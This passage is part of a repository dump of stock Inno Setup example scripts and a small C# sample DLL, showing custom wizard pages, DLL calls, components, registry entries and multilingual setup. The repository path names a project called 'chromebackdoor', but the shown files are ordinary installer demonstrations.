them next time } 103 | SetPreviousData(PreviousDataKey, 'Name', UserPage.Values[0]); 104 | SetPreviousData(PreviousDataKey, 'Company', UserPage.Values[1]); 105 | case UsagePage.SelectedValueIndex of 106 | 0: UsageMode := 'light'; 107 | 1: UsageMode := 'sponsored'; 108 | 2: UsageMode := 'paid'; 109 | end; 110 | SetPreviousData(PreviousDataKey, 'UsageMode', UsageMode); 111 | SetPreviousData(PreviousDataKey, 'DataDir', DataDirPage.Values[0]); 112 | end; 113 | 114 | function ShouldSkipPage(PageID: Integer): Boolean; 115 | begin 116 | { Skip pages that shouldn't be shown } 117 | if (PageID = LightMsgPage.ID) and (UsagePage.SelectedValueIndex <> 0) then 118 | Result := True 119 | else if (PageID = KeyPage.ID) and (UsagePage.SelectedValueIndex <> 2) then 120 | Result := True 121 | else 122 | Result := False; 123 | end; 124 | 125 | function NextButtonClick(CurPageID: Integer): Boolean; 126 | var 127 | I: Integer; 128 | begin 129 | { Validate certain pages before allowing the user to proceed } 130 | if CurPageID = UserPage.ID then begin 131 | if UserPage.Values[0] = '' then begin 132 | MsgBox('You must enter your name.', mbError, MB_OK); 133 | Result := False; 134 | end else begin 135 | if DataDirPage.Values[0] = '' then 136 | DataDirPage.Values[0] := 'C:\' + UserPage.Values[0]; 137 | Result := True; 138 | end; 139 | end else if CurPageID = KeyPage.ID then begin 140 | { Just to show how 'OutputProgress' pages work. 141 | Always use a try..finally between the Show and Hide calls as shown below. } 142 | ProgressPage.SetText('Authorizing registration key...', ''); 143 | ProgressPage.SetProgress(0, 0); 144 | ProgressPage.Show; 145 | try 146 | for I := 0 to 10 do begin 147 | ProgressPage.SetProgress(I, 10); 148 | Sleep(100); 149 | end; 150 | finally 151 | ProgressPage.Hide; 152 | end; 153 | if GetSHA1OfString('codedlg' + KeyPage.Values[0]) = '8013f310d340dab18a0d0cda2b5b115d2dcd97e4' then 154 | Result := True 155 | else begin 156 | MsgBox('You must enter a valid registration key. (Hint: The key is "inno".)', mbError, MB_OK); 157 | Result := False; 158 | end; 159 | end else 160 | Result := True; 161 | end; 162 | 163 | function UpdateReadyMemo(Space, NewLine, MemoUserInfoInfo, MemoDirInfo, MemoTypeInfo, 164 | MemoComponentsInfo, MemoGroupInfo, MemoTasksInfo: String): String; 165 | var 166 | S: String; 167 | begin 168 | { Fill the 'Ready Memo' with the normal settings and the custom settings } 169 | S := ''; 170 | S := S + 'Personal Information:' + NewLine; 171 | S := S + Space + UserPage.Values[0] + NewLine; 172 | if UserPage.Values[1] <> '' then 173 | S := S + Space + UserPage.Values[1] + NewLine; 174 | S := S + NewLine; 175 | 176 | S := S + 'Usage Mode:' + NewLine + Space; 177 | case UsagePage.SelectedValueIndex of 178 | 0: S := S + 'Light mode'; 179 | 1: S := S + 'Sponsored mode'; 180 | 2: S := S + 'Paid mode'; 181 | end; 182 | S := S + NewLine + NewLine; 183 | 184 | S := S + MemoDirInfo + NewLine; 185 | S := S + Space + DataDirPage.Values[0] + ' (personal data files)' + NewLine; 186 | 187 | Result := S; 188 | end; 189 | 190 | function GetUser(Param: String): String; 191 | begin 192 | { Return a user value } 193 | { Could also be split into separate GetUserName and GetUserCompany functions } 194 | if Param = 'Name' then 195 | Result := UserPage.Values[0] 196 | else if Param = 'Company' then 197 | Result := UserPage.Values[1]; 198 | end; 199 | 200 | function GetDataDir(Param: String): String; 201 | begin 202 | { Return the selected DataDir } 203 | Result := DataDirPage.Values[0]; 204 | end; 205 | -------------------------------------------------------------------------------- /installer/inno/Examples/CodeDll.iss: -------------------------------------------------------------------------------- 1 | ; -- CodeDll.iss -- 2 | ; 3 | ; This script shows how to call DLL functions at runtime from a [Code] section. 4 | 5 | [Setup] 6 | AppName=My Program 7 | AppVersion=1.5 8 | DefaultDirName={pf}\My Program 9 | DisableProgramGroupPage=yes 10 | UninstallDisplayIcon={app}\MyProg.exe 11 | OutputDir=userdocs:Inno Setup Examples Output 12 | 13 | [Files] 14 | Source: "MyProg.exe"; DestDir: "{app}" 15 | Source: "MyProg.chm"; DestDir: "{app}" 16 | Source: "Readme.txt"; DestDir: "{app}"; Flags: isreadme 17 | ; Install our DLL to {app} so we can access it at uninstall time 18 | ; Use "Flags: dontcopy" if you don't need uninstall time access 19 | Source: "MyDll.dll"; DestDir: "{app}" 20 | 21 | [Code] 22 | const 23 | MB_ICONINFORMATION = $40; 24 | 25 | //importing an ANSI Windows API function 26 | function MessageBox(hWnd: Integer; lpText, lpCaption: AnsiString; uType: Cardinal): Integer; 27 | external 'MessageBoxA@user32.dll stdcall'; 28 | 29 | //importing a Windows API function, automatically choosing ANSI or Unicode (requires ISPP) 30 | //function MessageBox(hWnd: Integer; lpText, lpCaption: String; uType: Cardinal): Integer; 31 | //#ifdef UNICODE 32 | //external 'MessageBoxW@user32.dll stdcall'; 33 | //#else 34 | //external 'MessageBoxA@user32.dll stdcall'; 35 | //#endif 36 | 37 | //importing an ANSI custom DLL function, first for Setup, then for uninstall 38 | procedure MyDllFuncSetup(hWnd: Integer; lpText, lpCaption: AnsiString; uType: Cardinal); 39 | external 'MyDllFunc@files:MyDll.dll stdcall setuponly'; 40 | 41 | procedure MyDllFuncUninstall(hWnd: Integer; lpText, lpCaption: AnsiString; uType: Cardinal); 42 | external 'MyDllFunc@{app}\MyDll.dll stdcall uninstallonly'; 43 | 44 | //importing an ANSI function for a DLL which might not exist at runtime 45 | procedure DelayLoadedFunc(hWnd: Integer; lpText, lpCaption: AnsiString; uType: Cardinal); 46 | external 'DllFunc@DllWhichMightNotExist.dll stdcall delayload'; 47 | 48 | function NextButtonClick(CurPage: Integer): Boolean; 49 | var 50 | hWnd: Integer; 51 | begin 52 | if CurPage = wpWelcome then begin 53 | hWnd := StrToInt(ExpandConstant('{wizardhwnd}')); 54 | 55 | MessageBox(hWnd, 'Hello from Windows API function', 'MessageBoxA', MB_OK or MB_ICONINFORMATION); 56 | 57 | MyDllFuncSetup(hWnd, 'Hello from custom DLL function', 'MyDllFunc', MB_OK or MB_ICONINFORMATION); 58 | 59 | try 60 | //if this DLL does not exist (it shouldn't), an exception will be raised 61 | DelayLoadedFunc(hWnd, 'Hello from delay loaded function', 'DllFunc', MB_OK or MB_ICONINFORMATION); 62 | except 63 | //handle missing dll here 64 | end; 65 | end; 66 | Result := True; 67 | end; 68 | 69 | procedure CurUninstallStepChanged(CurUninstallStep: TUninstallStep); 70 | begin 71 | // Call our function just before the actual uninstall process begins 72 | if CurUninstallStep = usUninstall then 73 | begin 74 | MyDllFuncUninstall(0, 'Hello from custom DLL function', 'MyDllFunc', MB_OK or MB_ICONINFORMATION); 75 | 76 | // Now that we're finished with it, unload MyDll.dll from memory. 77 | // We have to do this so that the uninstaller will be able to remove the DLL and the {app} directory. 78 | UnloadDLL(ExpandConstant('{app}\MyDll.dll')); 79 | end; 80 | end; 81 | -------------------------------------------------------------------------------- /installer/inno/Examples/CodeExample1.iss: -------------------------------------------------------------------------------- 1 | ; -- CodeExample1.iss -- 2 | ; 3 | ; This script shows various things you can achieve using a [Code] section 4 | 5 | [Setup] 6 | AppName=My Program 7 | AppVersion=1.5 8 | DefaultDirName={code:MyConst}\My Program 9 | DefaultGroupName=My Program 10 | UninstallDisplayIcon={app}\MyProg.exe 11 | InfoBeforeFile=Readme.txt 12 | OutputDir=userdocs:Inno Setup Examples Output 13 | 14 | [Files] 15 | Source: "MyProg.exe"; DestDir: "{app}"; Check: MyProgCheck; BeforeInstall: BeforeMyProgInstall('MyProg.exe'); AfterInstall: AfterMyProgInstall('MyProg.exe') 16 | Source: "MyProg.chm"; DestDir: "{app}"; Check: MyProgCheck; BeforeInstall: BeforeMyProgInstall('MyProg.chm'); AfterInstall: AfterMyProgInstall('MyProg.chm') 17 | Source: "Readme.txt"; DestDir: "{app}"; Flags: isreadme 18 | 19 | [Icons] 20 | Name: "{group}\My Program"; Filename: "{app}\MyProg.exe" 21 | 22 | [Code] 23 | var 24 | MyProgChecked: Boolean; 25 | MyProgCheckResult: Boolean; 26 | FinishedInstall: Boolean; 27 | 28 | function InitializeSetup(): Boolean; 29 | begin 30 | Log('InitializeSetup called'); 31 | Result := MsgBox('InitializeSetup:' #13#13 'Setup is initializing. Do you really want to start setup?', mbConfirmation, MB_YESNO) = idYes; 32 | if Result = False then 33 | MsgBox('InitializeSetup:' #13#13 'Ok, bye bye.', mbInformation, MB_OK); 34 | end; 35 | 36 | procedure DeinitializeSetup(); 37 | var 38 | FileName: String; 39 | ResultCode: Integer; 40 | begin 41 | Log('DeinitializeSetup called'); 42 | if FinishedInstall then begin 43 | if MsgBox('DeinitializeSetup:' #13#13 'The [Code] scripting demo has finished. Do you want to uninstall My Program now?', mbConfirmation, MB_YESNO) = idYes then begin 44 | FileName := ExpandConstant('{uninstallexe}'); 45 | if not Exec(FileName, '', '', SW_SHOWNORMAL, ewNoWait, ResultCode) then 46 | MsgBox('DeinitializeSetup:' #13#13 'Execution of ''' + FileName + ''' failed. ' + SysErrorMessage(ResultCode) + '.', mbError, MB_OK); 47 | end else 48 | MsgBox('DeinitializeSetup:' #13#13 'Ok, bye bye.', mbInformation, MB_OK); 49 | end; 50 | end; 51 | 52 | procedure CurStepChanged(CurStep: TSetupStep); 53 | begin 54 | Log('CurStepChanged(' + IntToStr(Ord(CurStep)) + ') called'); 55 | if CurStep = ssPostInstall then 56 | FinishedInstall := True; 57 | end; 58 | 59 | procedure CurInstallProgressChanged(CurProgress, MaxProgress: Integer); 60 | begin 61 | Log('CurInstallProgressChanged(' + IntToStr(CurProgress) + ', ' + IntToStr(MaxProgress) + ') called'); 62 | end; 63 | 64 | function NextButtonClick(CurPageID: Integer): Boolean; 65 | var 66 | ResultCode: Integer; 67 | begin 68 | Log('NextButtonClick(' + IntToStr(CurPageID) + ') called'); 69 | case CurPageID of 70 | wpSelectDir: 71 | MsgBox('NextButtonClick:' #13#13 'You selected: ''' + WizardDirValue + '''.', mbInformation, MB_OK); 72 | wpSelectProgramGroup: 73 | MsgBox('NextButtonClick:' #13#13 'You selected: ''' + WizardGroupValue + '''.', mbInformation, MB_OK); 74 | wpReady: 75 | begin 76 | if MsgBox('NextButtonClick:' #13#13 'Using the script, files can be extracted before the installation starts. For example we could extract ''MyProg.exe'' now and run it.' #13#13 'Do you want to do this?', mbConfirmation, MB_YESNO) = idYes then begin 77 | ExtractTemporaryFile('myprog.exe'); 78 | if not ExecAsOriginalUser(ExpandConstant('{tmp}\myprog.exe'), '', '', SW_SHOWNORMAL, ewWaitUntilTerminated, ResultCode) then 79 | MsgBox('NextButtonClick:' #13#13 'The file could not be executed. ' + SysErrorMessage(ResultCode) + '.', mbError, MB_OK); 80 | end; 81 | BringToFrontAndRestore(); 82 | MsgBox('NextButtonClick:' #13#13 'The normal installation will now start.', mbInformation, MB_OK); 83 | end; 84 | end; 85 | 86 | Result := True; 87 | end; 88 | 89 | function BackButtonClick(CurPageID: Integer): Boolean; 90 | begin 91 | Log('BackButtonClick(' + IntToStr(CurPageID) + ') called'); 92 | Result := True; 93 | end; 94 | 95 | function ShouldSkipPage(PageID: Integer): Boolean; 96 | begin 97 | Log('ShouldSkipPage(' + IntToStr(PageID) + ') called'); 98 | { Skip wpInfoBefore page; show all others } 99 | case PageID of 100 | wpInfoBefore: 101 | Result := True; 102 | else 103 | Result := False; 104 | end; 105 | end; 106 | 107 | procedure CurPageChanged(CurPageID: Integer); 108 | begin 109 | Log('CurPageChanged(' + IntToStr(CurPageID) + ') called'); 110 | case CurPageID of 111 | wpWelcome: 112 | MsgBox('CurPageChanged:' #13#13 'Welcome to the [Code] scripting demo. This demo will show you some possibilities of the scripting support.' #13#13 'The scripting engine used is RemObjects Pascal Script by Carlo Kok. See http://www.remobjects.com/ps for more information.', mbInformation, MB_OK); 113 | wpFinished: 114 | MsgBox('CurPageChanged:' #13#13 'Welcome to final page of this demo. Click Finish to exit.', mbInformation, MB_OK); 115 | end; 116 | end; 117 | 118 | function PrepareToInstall(var NeedsRestart: Boolean): String; 119 | begin 120 | Log('PrepareToInstall() called'); 121 | if MsgBox('PrepareToInstall:' #13#13 'Setup is preparing to install. Using the script you can install any prerequisites, abort Setup on errors, and request restarts. Do you want to return an error now?', mbConfirmation, MB_YESNO or MB_DEFBUTTON2) = idYes then 122 | Result := '.' 123 | else 124 | Result := ''; 125 | end; 126 | 127 | function MyProgCheck(): Boolean; 128 | begin 129 | Log('MyProgCheck() called'); 130 | if not MyProgChecked then begin 131 | MyProgCheckResult := MsgBox('MyProgCheck:' #13#13 'Using the script you can decide at runtime to include or exclude files from the installation. Do you want to install MyProg.exe and MyProg.chm to ' + ExtractFilePath(CurrentFileName) + '?', mbConfirmation, MB_YESNO) = idYes; 132 | MyProgChecked := True; 133 | end; 134 | Result := MyProgCheckResult; 135 | end; 136 | 137 | procedure BeforeMyProgInstall(S: String); 138 | begin 139 | Log('BeforeMyProgInstall(''' + S + ''') called'); 140 | MsgBox('BeforeMyProgInstall:' #13#13 'Setup is now going to install ' + S + ' as ' + CurrentFileName + '.', mbInformation, MB_OK); 141 | end; 142 | 143 | procedure AfterMyProgInstall(S: String); 144 | begin 145 | Log('AfterMyProgInstall(''' + S + ''') called'); 146 | MsgBox('AfterMyProgInstall:' #13#13 'Setup just installed ' + S + ' as ' + CurrentFileName + '.', mbInformation, MB_OK); 147 | end; 148 | 149 | function MyConst(Param: String): String; 150 | begin 151 | Log('MyConst(''' + Param + ''') called'); 152 | Result := ExpandConstant('{pf}'); 153 | end; 154 | 155 | -------------------------------------------------------------------------------- /installer/inno/Examples/CodePrepareToInstall.iss: -------------------------------------------------------------------------------- 1 | ; -- CodePrepareToInstall.iss -- 2 | ; 3 | ; This script shows how the PrepareToInstall event function can be used to 4 | ; install prerequisites and handle any reboots in between, while remembering 5 | ; user selections across reboots. 6 | 7 | [Setup] 8 | AppName=My Program 9 | AppVersion=1.5 10 | DefaultDirName={pf}\My Program 11 | DefaultGroupName=My Program 12 | UninstallDisplayIcon={app}\MyProg.exe 13 | OutputDir=userdocs:Inno Setup Examples Output 14 | 15 | [Files] 16 | Source: "MyProg.exe"; DestDir: "{app}"; 17 | Source: "MyProg.chm"; DestDir: "{app}"; 18 | Source: "Readme.txt"; DestDir: "{app}"; Flags: isreadme; 19 | 20 | [Icons] 21 | Name: "{group}\My Program"; Filename: "{app}\MyProg.exe" 22 | 23 | [Code] 24 | const 25 | (*** Customize the following to your own name. ***) 26 | RunOnceName = 'My Program Setup restart'; 27 | 28 | QuitMessageReboot = 'The installation of a prerequisite program was not completed. You will need to restart your computer to complete that installation.'#13#13'After restarting your computer, Setup will continue next time an administrator logs in.'; 29 | QuitMessageError = 'Error. Cannot continue.'; 30 | 31 | var 32 | Restarted: Boolean; 33 | 34 | function InitializeSetup(): Boolean; 35 | begin 36 | Restarted := ExpandConstant('{param:restart|0}') = '1'; 37 | 38 | if not Restarted then begin 39 | Result := not RegValueExists(HKLM, 'Software\Microsoft\Windows\CurrentVersion\RunOnce', RunOnceName); 40 | if not Result then 41 | MsgBox(QuitMessageReboot, mbError, mb_Ok); 42 | end else 43 | Result := True; 44 | end; 45 | 46 | function DetectAndInstallPrerequisites: Boolean; 47 | begin 48 | (*** Place your prerequisite detection and installation code below. ***) 49 | (*** Return False if missing prerequisites were detected but their installation failed, else return True. ***) 50 | 51 | // 52 | 53 | Result := True; 54 | 55 | (*** Remove the following block! Used by this demo to simulate a prerequisite install requiring a reboot. ***) 56 | if not Restarted then 57 | RestartReplace(ParamStr(0), ''); 58 | end; 59 | 60 | function Quote(const S: String): String; 61 | begin 62 | Result := '"' + S + '"'; 63 | end; 64 | 65 | function AddParam(const S, P, V: String): String; 66 | begin 67 | if V <> '""' then 68 | Result := S + ' /' + P + '=' + V; 69 | end; 70 | 71 | function AddSimpleParam(const S, P: String): String; 72 | begin 73 | Result := S + ' /' + P; 74 | end; 75 | 76 | procedure CreateRunOnceEntry; 77 | var 78 | RunOnceData: String; 79 | begin 80 | RunOnceData := Quote(ExpandConstant('{srcexe}')) + ' /restart=1'; 81 | RunOnceData := AddParam(RunOnceData, 'LANG', ExpandConstant('{language}')); 82 | RunOnceData := AddParam(RunOnceData, 'DIR', Quote(WizardDirValue)); 83 | RunOnceData := AddParam(RunOnceData, 'GROUP', Quote(WizardGroupValue)); 84 | if WizardNoIcons then 85 | RunOnceData := AddSimpleParam(RunOnceData, 'NOICONS'); 86 | RunOnceData := AddParam(RunOnceData, 'TYPE', Quote(WizardSetupType(False))); 87 | RunOnceData := AddParam(RunOnceData, 'COMPONENTS', Quote(WizardSelectedComponents(False))); 88 | RunOnceData := AddParam(RunOnceData, 'TASKS', Quote(WizardSelectedTasks(False))); 89 | 90 | (*** Place any custom user selection you want to remember below. ***) 91 | 92 | // 93 | 94 | RegWriteStringValue(HKLM, 'Software\Microsoft\Windows\CurrentVersion\RunOnce', RunOnceName, RunOnceData); 95 | end; 96 | 97 | function PrepareToInstall(var NeedsRestart: Boolean): String; 98 | var 99 | ChecksumBefore, ChecksumAfter: String; 100 | begin 101 | ChecksumBefore := MakePendingFileRenameOperationsChecksum; 102 | if DetectAndInstallPrerequisites then begin 103 | ChecksumAfter := MakePendingFileRenameOperationsChecksum; 104 | if ChecksumBefore <> ChecksumAfter then begin 105 | CreateRunOnceEntry; 106 | NeedsRestart := True; 107 | Result := QuitMessageReboot; 108 | end; 109 | end else 110 | Result := QuitMessageError; 111 | end; 112 | 113 | function ShouldSkipPage(PageID: Integer): Boolean; 114 | begin 115 | Result := Restarted; 116 | end; 117 | 118 | -------------------------------------------------------------------------------- /installer/inno/Examples/Components.iss: -------------------------------------------------------------------------------- 1 | ; -- Components.iss -- 2 | ; Demonstrates a components-based installation. 3 | 4 | ; SEE THE DOCUMENTATION FOR DETAILS ON CREATING .ISS SCRIPT FILES! 5 | 6 | [Setup] 7 | AppName=My Program 8 | AppVersion=1.5 9 | DefaultDirName={pf}\My Program 10 | DefaultGroupName=My Program 11 | UninstallDisplayIcon={app}\MyProg.exe 12 | OutputDir=userdocs:Inno Setup Examples Output 13 | 14 | [Types] 15 | Name: "full"; Description: "Full installation" 16 | Name: "compact"; Description: "Compact installation" 17 | Name: "custom"; Description: "Custom installation"; Flags: iscustom 18 | 19 | [Components] 20 | Name: "program"; Description: "Program Files"; Types: full compact custom; Flags: fixed 21 | Name: "help"; Description: "Help File"; Types: full 22 | Name: "readme"; Description: "Readme File"; Types: full 23 | Name: "readme\en"; Description: "English"; Flags: exclusive 24 | Name: "readme\de"; Description: "German"; Flags: exclusive 25 | 26 | [Files] 27 | Source: "MyProg.exe"; DestDir: "{app}"; Components: program 28 | Source: "MyProg.chm"; DestDir: "{app}"; Components: help 29 | Source: "Readme.txt"; DestDir: "{app}"; Components: readme\en; Flags: isreadme 30 | Source: "Readme-German.txt"; DestName: "Liesmich.txt"; DestDir: "{app}"; Components: readme\de; Flags: isreadme 31 | 32 | [Icons] 33 | Name: "{group}\My Program"; Filename: "{app}\MyProg.exe" 34 | -------------------------------------------------------------------------------- /installer/inno/Examples/Example1.iss: -------------------------------------------------------------------------------- 1 | ; -- Example1.iss -- 2 | ; Demonstrates copying 3 files and creating an icon. 3 | 4 | ; SEE THE DOCUMENTATION FOR DETAILS ON CREATING .ISS SCRIPT FILES! 5 | 6 | [Setup] 7 | AppName=My Program 8 | AppVersion=1.5 9 | DefaultDirName={pf}\My Program 10 | DefaultGroupName=My Program 11 | UninstallDisplayIcon={app}\MyProg.exe 12 | Compression=lzma2 13 | SolidCompression=yes 14 | OutputDir=userdocs:Inno Setup Examples Output 15 | 16 | [Files] 17 | Source: "MyProg.exe"; DestDir: "{app}" 18 | Source: "MyProg.chm"; DestDir: "{app}" 19 | Source: "Readme.txt"; DestDir: "{app}"; Flags: isreadme 20 | 21 | [Icons] 22 | Name: "{group}\My Program"; Filename: "{app}\MyProg.exe" 23 | -------------------------------------------------------------------------------- /installer/inno/Examples/Example2.iss: -------------------------------------------------------------------------------- 1 | ; -- Example2.iss -- 2 | ; Same as Example1.iss, but creates its icon in the Programs folder of the 3 | ; Start Menu instead of in a subfolder, and also creates a desktop icon. 4 | 5 | ; SEE THE DOCUMENTATION FOR DETAILS ON CREATING .ISS SCRIPT FILES! 6 | 7 | [Setup] 8 | AppName=My Program 9 | AppVersion=1.5 10 | DefaultDirName={pf}\My Program 11 | ; Since no icons will be created in "{group}", we don't need the wizard 12 | ; to ask for a Start Menu folder name: 13 | DisableProgramGroupPage=yes 14 | UninstallDisplayIcon={app}\MyProg.exe 15 | OutputDir=userdocs:Inno Setup Examples Output 16 | 17 | [Files] 18 | Source: "MyProg.exe"; DestDir: "{app}" 19 | Source: "MyProg.chm"; DestDir: "{app}" 20 | Source: "Readme.txt"; DestDir: "{app}"; Flags: isreadme 21 | 22 | [Icons] 23 | Name: "{commonprograms}\My Program"; Filename: "{app}\MyProg.exe" 24 | Name: "{commondesktop}\My Program"; Filename: "{app}\MyProg.exe" 25 | -------------------------------------------------------------------------------- /installer/inno/Examples/Example3.iss: -------------------------------------------------------------------------------- 1 | ; -- Example3.iss -- 2 | ; Same as Example1.iss, but creates some registry entries too. 3 | 4 | ; SEE THE DOCUMENTATION FOR DETAILS ON CREATING .ISS SCRIPT FILES! 5 | 6 | [Setup] 7 | AppName=My Program 8 | AppVersion=1.5 9 | DefaultDirName={pf}\My Program 10 | DefaultGroupName=My Program 11 | UninstallDisplayIcon={app}\MyProg.exe 12 | OutputDir=userdocs:Inno Setup Examples Output 13 | 14 | [Files] 15 | Source: "MyProg.exe"; DestDir: "{app}" 16 | Source: "MyProg.chm"; DestDir: "{app}" 17 | Source: "Readme.txt"; DestDir: "{app}"; Flags: isreadme 18 | 19 | [Icons] 20 | Name: "{group}\My Program"; Filename: "{app}\MyProg.exe" 21 | 22 | ; NOTE: Most apps do not need registry entries to be pre-created. If you 23 | ; don't know what the registry is or if you need to use it, then chances are 24 | ; you don't need a [Registry] section. 25 | 26 | [Registry] 27 | ; Start "Software\My Company\My Program" keys under HKEY_CURRENT_USER 28 | ; and HKEY_LOCAL_MACHINE. The flags tell it to always delete the 29 | ; "My Program" keys upon uninstall, and delete the "My Company" keys 30 | ; if there is nothing left in them. 31 | Root: HKCU; Subkey: "Software\My Company"; Flags: uninsdeletekeyifempty 32 | Root: HKCU; Subkey: "Software\My Company\My Program"; Flags: uninsdeletekey 33 | Root: HKLM; Subkey: "Software\My Company"; Flags: uninsdeletekeyifempty 34 | Root: HKLM; Subkey: "Software\My Company\My Program"; Flags: uninsdeletekey 35 | Root: HKLM; Subkey: "Software\My Company\My Program\Settings"; ValueType: string; ValueName: "Path"; ValueData: "{app}" 36 | -------------------------------------------------------------------------------- /installer/inno/Examples/ISPPExample1.iss: -------------------------------------------------------------------------------- 1 | ; -- ISPPExample1.iss -- 2 | ; 3 | ; This script shows various basic things you can achieve using Inno Setup Preprocessor (ISPP). 4 | ; To enable commented #define's, either remove the ';' or use ISCC with the /D switch. 5 | 6 | #pragma option -v+ 7 | #pragma verboselevel 9 8 | 9 | ;#define Debug 10 | 11 | ;#define AppEnterprise 12 | 13 | #ifdef AppEnterprise 14 | #define AppName "My Program Enterprise Edition" 15 | #else 16 | #define AppName "My Program" 17 | #endif 18 | 19 | #define AppVersion GetFileVersion(AddBackslash(SourcePath) + "MyProg.exe") 20 | 21 | [Setup] 22 | AppName={#AppName} 23 | AppVersion={#AppVersion} 24 | DefaultDirName={pf}\{#AppName} 25 | DefaultGroupName={#AppName} 26 | UninstallDisplayIcon={app}\MyProg.exe 27 | LicenseFile={#file AddBackslash(SourcePath) + "ISPPExample1License.txt"} 28 | VersionInfoVersion={#AppVersion} 29 | OutputDir=userdocs:Inno Setup Examples Output 30 | 31 | [Files] 32 | Source: "MyProg.exe"; DestDir: "{app}" 33 | #ifdef AppEnterprise 34 | Source: "MyProg.chm"; DestDir: "{app}" 35 | #endif 36 | Source: "Readme.txt"; DestDir: "{app}"; \ 37 | Flags: isreadme 38 | 39 | [Icons] 40 | Name: "{group}\{#AppName}"; Filename: "{app}\MyProg.exe" 41 | 42 | #ifdef Debug 43 | #expr SaveToFile(AddBackslash(SourcePath) + "Preprocessed.iss"), \ 44 | Exec(AddBackslash(CompilerPath) + "Compil32.exe", """" + AddBackslash(SourcePath) + "Preprocessed.iss""") 45 | #endif 46 | -------------------------------------------------------------------------------- /installer/inno/Examples/ISPPExample1License.txt: -------------------------------------------------------------------------------- 1 | #pragma option -e+ 2 | {#AppName} version {#AppVersion} License 3 | 4 | Bla bla bla -------------------------------------------------------------------------------- /installer/inno/Examples/Languages.iss: -------------------------------------------------------------------------------- 1 | ; -- Languages.iss -- 2 | ; Demonstrates a multilingual installation. 3 | 4 | ; SEE THE DOCUMENTATION FOR DETAILS ON CREATING .ISS SCRIPT FILES! 5 | 6 | [Setup] 7 | AppName={cm:MyAppName} 8 | AppId=My Program 9 | AppVerName={cm:MyAppVerName,1.5} 10 | DefaultDirName={pf}\{cm:MyAppName} 11 | DefaultGroupName={cm:MyAppName} 12 | UninstallDisplayIcon={app}\MyProg.exe 13 | VersionInfoDescription=My Program Setup 14 | VersionInfoProductName=My Program 15 | OutputDir=userdocs:Inno Setup Examples Output 16 | ; Uncomment the following line to disable the "Select Setup Language" 17 | ; dialog and have it rely solely on auto-detection. 18 | ;ShowLanguageDialog=no 19 | ; If you want all languages to be listed in the "Select Setup Language" 20 | ; dialog, even those that can't be displayed in the active code page, 21 | ; uncomment the following line. Note: Unicode Inno Setup always displays 22 | ; all languages. 23 | ;ShowUndisplayableLanguages=yes 24 | 25 | [Languages] 26 | Name: en; MessagesFile: "compiler:Default.isl" 27 | Name: nl; MessagesFile: "compiler:Languages\Dutch.isl" 28 | Name: de; MessagesFile: "compiler:Languages\German.isl" 29 | 30 | [Messages] 31 | en.BeveledLabel=English 32 | nl.BeveledLabel=Nederlands 33 | de.BeveledLabel=Deutsch 34 | 35 | [CustomMessages] 36 | en.MyDescription=My description 37 | en.MyAppName=My Program 38 | en.MyAppVerName=My Program %1 39 | nl.MyDescription=Mijn omschrijving 40 | nl.MyAppName=Mijn programma 41 | nl.MyAppVerName=Mijn programma %1 42 | de.MyDescription=Meine Beschreibung 43 | de.MyAppName=Meine Anwendung 44 | de.MyAppVerName=Meine Anwendung %1 45 | 46 | [Files] 47 | Source: "MyProg.exe"; DestDir: "{app}" 48 | Source: "MyProg.chm"; DestDir: "{app}"; Languages: en 49 | Source: "Readme.txt"; DestDir: "{app}"; Languages: en; Flags: isreadme 50 | Source: "Readme-Dutch.txt"; DestName: "Leesmij.txt"; DestDir: "{app}"; Languages: nl; Flags: isreadme 51 | Source: "Readme-German.txt"; DestName: "Liesmich.txt"; DestDir: "{app}"; Languages: de; Flags: isreadme 52 | 53 | [Icons] 54 | Name: "{group}\{cm:MyAppName}"; Filename: "{app}\MyProg.exe" 55 | Name: "{group}\{cm:UninstallProgram,{cm:MyAppName}}"; Filename: "{uninstallexe}" 56 | 57 | [Tasks] 58 | ; The following task doesn't do anything and is only meant to show [CustomMessages] usage 59 | Name: mytask; Description: "{cm:MyDescription}" 60 | -------------------------------------------------------------------------------- /installer/inno/Examples/MyDll.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/graniet/chromebackdoor/503c80ed0824c591eea540be2dbca6387df15258/installer/inno/Examples/MyDll.dll -------------------------------------------------------------------------------- /installer/inno/Examples/MyDll/C#/MyDll.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | using System.Runtime.InteropServices; 4 | using RGiesecke.DllExport; 5 | 6 | namespace Mydll 7 | { 8 | public class Mydll 9 | { 10 | [DllExport("MyDllFunc", CallingConvention=CallingConvention.StdCall)] 11 | public static void MyDllFunc(IntPtr hWnd, [MarshalAs(UnmanagedType.LPStr)] string text, [MarshalAs(UnmanagedType.LPStr)] string caption, int options) 12 | { 13 | MessageBox(hWnd, text, caption, options); 14 | } 15 | 16 | [DllExport("MyDllFuncW", CallingConvention=CallingConvention.StdCall)] 17 | public static void MyDllFuncW(IntPtr hWnd, string text, string caption, int options) 18 | { 19 | MessageBox(hWnd, text, caption, options); 20 | } 21 | 22 | [DllImport("user32.dll", CharSet=CharSet.Auto)] 23 | static extern int MessageBox(IntPtr hWnd, String text, String caption, int options); 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /installer/inno/Examples/MyDll/C#/MyDll.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {79237A5C-6C62-400A-BBDD-3DA1CA327973} 8 | Library 9 | Properties 10 | MyDll 11 | MyDll 12 | v4.5 13 | 512 14 | 15 | 16 | true 17 | full 18 | false 19 | .\ 20 | DEBUG;TRACE 21 | prompt 22 | 4 23 | x86 24 | 25 | 26 | pdbonly 27 | true 28 | .\ 29 | TRACE 30 | prompt 31 | 4 32 | x86 33 | 34 | 35 | 36 | packages\UnmanagedExports.1.2.7\lib\net\RGiesecke.DllExport.Metadata.dll 37 | False 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 63 | -------------------------------------------------------------------------------- /installer/inno/Examples/MyDll/C#/MyDll.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 2013 4 | VisualStudioVersion = 12.0.40629.0 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "MyDll", "MyDll.csproj", "{79237A5C-6C62-400A-BBDD-3DA1CA327973}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any 